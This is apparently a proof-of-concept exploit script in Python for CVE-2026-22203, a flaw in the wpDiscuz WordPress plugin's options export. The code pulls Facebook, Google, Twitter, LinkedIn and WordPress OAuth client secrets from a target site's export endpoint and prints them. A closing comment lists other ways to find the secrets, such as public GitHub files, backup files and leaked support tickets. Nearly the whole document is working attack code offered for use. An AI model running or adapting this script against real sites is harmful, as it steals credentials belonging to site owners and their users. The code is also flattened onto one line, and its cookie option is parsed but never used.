CVE-2026-22203 wpDiscuz插件选项导出功能泄露OAuth密钥信息泄露漏洞

# CVE-2026-22203 PoC - wpDiscuz OAuth Secret Extraction # Target: WordPress site with wpDiscuz < 7.6.47 import requests import re import json import argparse def exploit_wpdiscuz_oauth_leak(target_url): """ Exploit wpDiscuz options export feature to leak OAuth secrets """ # Step 1: Find wpDiscuz admin interface export_url = f"{target_url}/wp-admin/admin.php?page=wpdiscuz-options" # Step 2: Export options as JSON (requires admin auth) # This requires a valid admin session cookie session = requests.Session() # Method 1: Direct export endpoint if available json_export_url = f"{target_url}/wp-admin/admin-ajax.php?action=wpdiscuz_export_options" headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2026-22203-PoC)", "X-Requested-With": "XMLHttpRequest" } # Try to export options response = session.get(json_export_url, headers=headers, verify=False) # Step 3: Parse exported JSON for OAuth secrets oauth_secrets = [] sensitive_keys = ['fbAppSecret', 'googleClientSecret', 'twitterAppSecret', 'linkedinClientSecret', 'wordpressClientSecret'] if response.status_code == 200: try: data = response.json() for key in sensitive_keys: if key in data: oauth_secrets.append({ "key_name": key, "value": data[key], "platform": key.replace('ClientSecret', '').replace('AppSecret', '') }) except: # Try parsing as raw text for key in sensitive_keys: if key in response.text: match = re.search(rf'{key}["\s:]+([^",\s]+)', response.text) if match: oauth_secrets.append({ "key_name": key, "value": match.group(1), "platform": key.replace('ClientSecret', '').replace('AppSecret', '') }) return oauth_secrets def check_github_exposure(cve_id): """ Search GitHub for leaked OAuth secrets from wpDiscuz exports """ search_url = f"https://api.github.com/search/code?q={cve_id}+wpdiscuz" # Note: Requires GitHub API token for rate limiting # This is for educational/security research purposes only return [] if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2026-22203 wpDiscuz OAuth Secret Leak") parser.add_argument("-t", "--target", required=True, help="Target WordPress URL") parser.add_argument("-c", "--cookie", help="Admin session cookie") args = parser.parse_args() print(f"[*] Analyzing {args.target} for CVE-2026-22203") secrets = exploit_wpdiscuz_oauth_leak(args.target) if secrets: print("[!] OAuth secrets found:") for secret in secrets: print(f" - {secret['platform']}: {secret['value']}") else: print("[*] No exposed secrets found (or target not vulnerable)") # Note: This PoC requires admin authentication to exploit # Alternative attack vectors: # 1. Search GitHub for exposed JSON files containing OAuth secrets # 2. Check backup files in common locations # 3. Analyze leaked support tickets